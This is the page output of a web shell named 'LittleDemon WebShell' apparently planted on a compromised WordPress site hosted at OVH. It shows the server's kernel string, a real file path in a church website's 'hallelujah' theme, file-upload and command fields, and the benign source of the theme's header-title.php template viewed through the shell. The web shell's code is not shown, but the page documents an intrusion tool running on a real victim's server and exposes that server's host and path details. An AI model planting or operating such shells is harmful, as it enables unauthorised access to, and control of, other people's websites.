LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/themes/hallelujah/templates/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/themes/hallelujah/templates/header-title.php

<?php
/**
 * The template to display the page title and breadcrumbs
 *
 * @package WordPress
 * @subpackage HALLELUJAH
 * @since HALLELUJAH 1.0
 */

// Page (category, tag, archive, author) title

if ( hallelujah_need_page_title() ) {
	hallelujah_sc_layouts_showed( 'title', true );
	hallelujah_sc_layouts_showed( 'postmeta', true );
	?>
	<div class="top_panel_title sc_layouts_row sc_layouts_row_type_normal">
		<div class="content_wrap">
			<div class="sc_layouts_column sc_layouts_column_align_center">
				<div class="sc_layouts_item">
					<div class="sc_layouts_title sc_align_center">
						<?php
						// Post meta on the single post
						if ( is_single() ) {
							?>
							<div class="sc_layouts_title_meta">
							<?php
								hallelujah_show_post_meta(
									apply_filters(
										'hallelujah_filter_post_meta_args', array(
											'components' => hallelujah_array_get_keys_by_value( hallelujah_get_theme_option( 'meta_parts' ) ),
											'counters'   => hallelujah_array_get_keys_by_value( hallelujah_get_theme_option( 'counters' ) ),
											'seo'        => hallelujah_is_on( hallelujah_get_theme_option( 'seo_snippets' ) ),
										), 'header', 1
									)
								);
							?>
							</div>
							<?php
						}

						// Blog/Post title
						?>
						<div class="sc_layouts_title_title">
							<?php
							$hallelujah_blog_title           = hallelujah_get_blog_title();
							$hallelujah_blog_title_text      = '';
							$hallelujah_blog_title_class     = '';
							$hallelujah_blog_title_link      = '';
							$hallelujah_blog_title_link_text = '';
							if ( is_array( $hallelujah_blog_title ) ) {
								$hallelujah_blog_title_text      = $hallelujah_blog_title['text'];
								$hallelujah_blog_title_class     = ! empty( $hallelujah_blog_title['class'] ) ? ' ' . $hallelujah_blog_title['class'] : '';
								$hallelujah_blog_title_link      = ! empty( $hallelujah_blog_title['link'] ) ? $hallelujah_blog_title['link'] : '';
								$hallelujah_blog_title_link_text = ! empty( $hallelujah_blog_title['link_text'] ) ? $hallelujah_blog_title['link_text'] : '';
							} else {
								$hallelujah_blog_title_text = $hallelujah_blog_title;
							}
							?>
							<h1 itemprop="headline" class="sc_layouts_title_caption<?php echo esc_attr( $hallelujah_blog_title_class ); ?>">
								<?php
								$hallelujah_top_icon = hallelujah_get_term_image_small();
								if ( ! empty( $hallelujah_top_icon ) ) {
									$hallelujah_attr = hallelujah_getimagesize( $hallelujah_top_icon );
									?>
									<img src="<?php echo esc_url( $hallelujah_top_icon ); ?>" alt="<?php esc_attr_e( 'Site icon', 'hallelujah' ); ?>"
										<?php
										if ( ! empty( $hallelujah_attr[3] ) ) {
											hallelujah_show_layout( $hallelujah_attr[3] );
										}
										?>
									>
									<?php
								}
								echo wp_kses_data( $hallelujah_blog_title_text );
								?>
							</h1>
							<?php
							if ( ! empty( $hallelujah_blog_title_link ) && ! empty( $hallelujah_blog_title_link_text ) ) {
								?>
								<a href="<?php echo esc_url( $hallelujah_blog_title_link ); ?>" class="theme_button theme_button_small sc_layouts_title_link"><?php echo esc_html( $hallelujah_blog_title_link_text ); ?></a>
								<?php
							}

							// Category/Tag description
							if ( is_category() || is_tag() || is_tax() ) {
								the_archive_description( '<div class="sc_layouts_title_description">', '</div>' );
							}

							?>
						</div>
						<?php

						// Breadcrumbs
						ob_start();
						do_action( 'hallelujah_action_breadcrumbs' );
						$hallelujah_breadcrumbs = ob_get_contents();
						ob_end_clean();
						hallelujah_show_layout( $hallelujah_breadcrumbs, '<div class="sc_layouts_title_breadcrumbs">', '</div>' );
						?>
					</div>
				</div>
			</div>
		</div>
	</div>
	<?php
}

LittleDemon - FACEBOOK
[ KELUAR ]